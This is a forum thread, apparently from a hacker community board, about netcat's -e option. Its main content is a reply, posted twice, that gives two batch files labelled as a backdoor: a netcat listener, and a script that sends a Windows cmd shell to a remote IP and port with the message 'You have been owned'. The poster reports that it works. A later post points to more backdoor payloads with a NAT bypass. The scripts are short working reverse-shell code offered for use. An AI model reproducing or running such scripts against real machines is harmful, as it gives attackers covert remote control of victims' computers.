Jump to content

Netcat -e


sc0rpi0

Recommended Posts

I have never used netcat before...and do not intend doing so on my own computer.

Recently, I've found several sources saying that the default netcat does not have the "-e" option automatically compiled.

In other words, unless netcat is separately compiled, it cannot function as a backdoor/remote access tool.

I download netcat from here:

http://www.vulnwatch.org/netcat/

Much appreciated.

Link to comment
Share on other sites

Do you have gcc or g++ installed (depending on which it needs)?

I guess I should know what those are. I don't.

Could you enlighten me?

Thanks.

GCC is the GNU Compiler Collection. It is a set of compilers used to compile C and C++ applications into a executable form.

G++ is basically a nickname for the C++ Compiler of GCC.

Link to comment
Share on other sites

There's a really simple backdoor in Volume 21, Issue 4 of 2600.  It's called "Backdooring the NAT'ed Network", by David Dunn.  The tutorial in the article has you create two batch files...

- server.bat:

@echo off

cls

nc.exe -v -v -L -p <port>

- backdoor.bat:

@echo off

echo You have been owned.

nc -d -e cmd -t <IP address or FQDN> <port>

I just tried this with the copy of netcat for Windows linked to, earlier in this thread and it works fine.

Hope this helped.

Link to comment
Share on other sites

There's a really simple backdoor in Volume 21, Issue 4 of 2600.  It's called "Backdooring the NAT'ed Network", by David Dunn.  The tutorial in the article has you create two batch files...

- server.bat:

@echo off

cls

nc.exe -v -v -L -p <port>

- backdoor.bat:

@echo off

echo You have been owned.

nc -d -e cmd -t <IP address or FQDN> <port>

I just tried this with the copy of netcat for Windows linked to, earlier in this thread and it works fine.

Hope this helped.

Thanks so much for your help.

Link to comment
Share on other sites

Me and a friend made a couple different scripts/payloads to install nc as a backdoor, read over the code here, NAT bypass and all that gravy is in there.  Enjoy!

http://forums.hak5.org/index.php/topic,7991.0.html

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...